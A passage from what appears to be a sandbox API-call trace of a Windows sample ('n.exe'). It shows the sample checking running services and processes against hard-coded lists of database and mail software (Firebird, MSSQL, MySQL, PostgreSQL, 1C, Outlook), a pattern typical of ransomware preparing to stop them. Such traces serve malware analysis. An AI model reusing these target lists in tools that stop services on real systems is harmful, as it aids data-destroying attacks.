(lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0159.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0159.557] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0159.557] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0159.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0159.557] lstrlenW (lpString="netprofm") returned 8 [0159.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0159.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0159.557] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0159.557] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0159.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0159.558] lstrlenW (lpString="NlaSvc") returned 6 [0159.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0159.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0159.558] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0159.558] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0159.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0159.558] lstrlenW (lpString="nsi") returned 3 [0159.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0159.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0159.558] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0159.558] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0159.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0159.558] lstrlenW (lpString="PcaSvc") returned 6 [0159.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0159.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0159.558] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0159.558] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0159.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0159.558] lstrlenW (lpString="PlugPlay") returned 8 [0159.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0159.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0159.558] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0159.558] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0159.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0159.558] lstrlenW (lpString="Power") returned 5 [0159.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0159.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0159.558] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0159.558] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0159.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0159.559] lstrlenW (lpString="ProfSvc") returned 7 [0159.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0159.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0159.559] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0159.559] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0159.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0159.559] lstrlenW (lpString="RpcEptMapper") returned 12 [0159.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0159.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0159.559] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0159.559] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0159.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0159.559] lstrlenW (lpString="RpcSs") returned 5 [0159.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0159.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0159.559] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0159.559] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0159.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0159.559] lstrlenW (lpString="SamSs") returned 5 [0159.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0159.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0159.559] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0159.559] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0159.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0159.559] lstrlenW (lpString="Schedule") returned 8 [0159.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0159.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0159.559] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0159.559] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0159.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0159.559] lstrlenW (lpString="SENS") returned 4 [0159.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0159.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0159.560] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0159.560] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0159.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0159.560] lstrlenW (lpString="ShellHWDetection") returned 16 [0159.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0159.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0159.560] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0159.560] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0159.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0159.560] lstrlenW (lpString="Spooler") returned 7 [0159.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0159.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0159.560] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0159.560] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0159.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0159.560] lstrlenW (lpString="SysMain") returned 7 [0159.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0159.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0159.560] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0159.560] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0159.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0159.560] lstrlenW (lpString="Themes") returned 6 [0159.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0159.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0159.560] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0159.560] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0159.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0159.560] lstrlenW (lpString="TrkWks") returned 6 [0159.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0159.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0159.561] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0159.561] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0159.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0159.561] lstrlenW (lpString="UxSms") returned 5 [0159.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0159.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0159.561] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0159.561] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0159.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0159.561] lstrlenW (lpString="WdiServiceHost") returned 14 [0159.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0159.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0159.561] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0159.561] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0159.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0159.561] lstrlenW (lpString="WdiSystemHost") returned 13 [0159.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0159.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0159.561] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0159.561] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0159.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0159.561] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0159.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0159.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0159.561] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0159.561] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0159.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0159.561] lstrlenW (lpString="Winmgmt") returned 7 [0159.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0159.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0159.562] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0159.562] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0159.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0159.562] lstrlenW (lpString="WPDBusEnum") returned 10 [0159.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0159.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0159.562] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0159.562] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0159.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0159.562] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x687228 | out: hHeap=0x630000) returned 1 [0159.562] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2e4 [0159.564] Process32FirstW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0159.564] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0159.564] lstrlenW (lpString="System") returned 6 [0159.564] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0159.564] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0159.564] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0159.564] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0159.564] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0159.564] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0159.564] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0159.565] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0159.565] lstrlenW (lpString="smss.exe") returned 8 [0159.565] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0159.565] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0159.565] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0159.565] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0159.565] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0159.565] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0159.565] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0159.565] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0159.565] lstrlenW (lpString="csrss.exe") returned 9 [0159.565] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0159.565] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0159.565] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0159.566] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0159.566] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0159.566] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0159.566] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0159.566] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0159.566] lstrlenW (lpString="wininit.exe") returned 11 [0159.566] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0159.566] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0159.566] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0159.566] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0159.566] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0159.566] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0159.566] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0159.566] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0159.566] lstrlenW (lpString="csrss.exe") returned 9 [0159.567] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0159.567] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0159.567] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0159.567] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0159.567] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0159.567] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0159.567] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0159.567] lstrlenW (lpString="winlogon.exe") returned 12 [0159.567] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0159.567] lstrlenW (lpString="services.exe") returned 12 [0159.567] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0159.568] lstrlenW (lpString="lsass.exe") returned 9 [0159.568] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0159.568] lstrlenW (lpString="lsm.exe") returned 7 [0159.568] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.568] lstrlenW (lpString="svchost.exe") returned 11 [0159.569] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.569] lstrlenW (lpString="svchost.exe") returned 11 [0159.569] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.569] lstrlenW (lpString="svchost.exe") returned 11 [0159.569] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.569] lstrlenW (lpString="svchost.exe") returned 11 [0159.570] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.570] lstrlenW (lpString="svchost.exe") returned 11 [0159.570] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0159.570] lstrlenW (lpString="audiodg.exe") returned 11 [0159.570] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.570] lstrlenW (lpString="svchost.exe") returned 11 [0159.571] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0159.571] lstrlenW (lpString="explorer.exe") returned 12 [0159.571] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0159.571] lstrlenW (lpString="dwm.exe") returned 7 [0159.571] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.572] lstrlenW (lpString="svchost.exe") returned 11 [0159.572] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0159.572] lstrlenW (lpString="n.exe") returned 5 [0159.572] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0159.572] lstrlenW (lpString="spoolsv.exe") returned 11 [0159.572] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.573] lstrlenW (lpString="svchost.exe") returned 11 [0159.573] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0159.573] lstrlenW (lpString="taskhost.exe") returned 12 [0159.573] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0159.573] lstrlenW (lpString="reader_sl.exe") returned 13 [0159.573] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0159.574] lstrlenW (lpString="rundll32.exe") returned 12 [0159.574] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0159.574] lstrlenW (lpString="n.exe") returned 5 [0159.574] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0159.574] lstrlenW (lpString="dllhost.exe") returned 11 [0159.574] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0159.575] lstrlenW (lpString="dllhost.exe") returned 11 [0159.575] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0159.575] lstrlenW (lpString="n.exe") returned 5 [0159.575] Process32NextW (in: hSnapshot=0x2e4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0159.575] CloseHandle (hObject=0x2e4) returned 1 [0159.576] Sleep (dwMilliseconds=0x1f4) [0160.180] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42f9640 [0160.219] EnumServicesStatusExW (in: hSCManager=0x42f9640, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0160.220] GetLastError () returned 0xea [0160.220] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x687228 [0160.220] EnumServicesStatusExW (in: hSCManager=0x42f9640, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x687228, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, 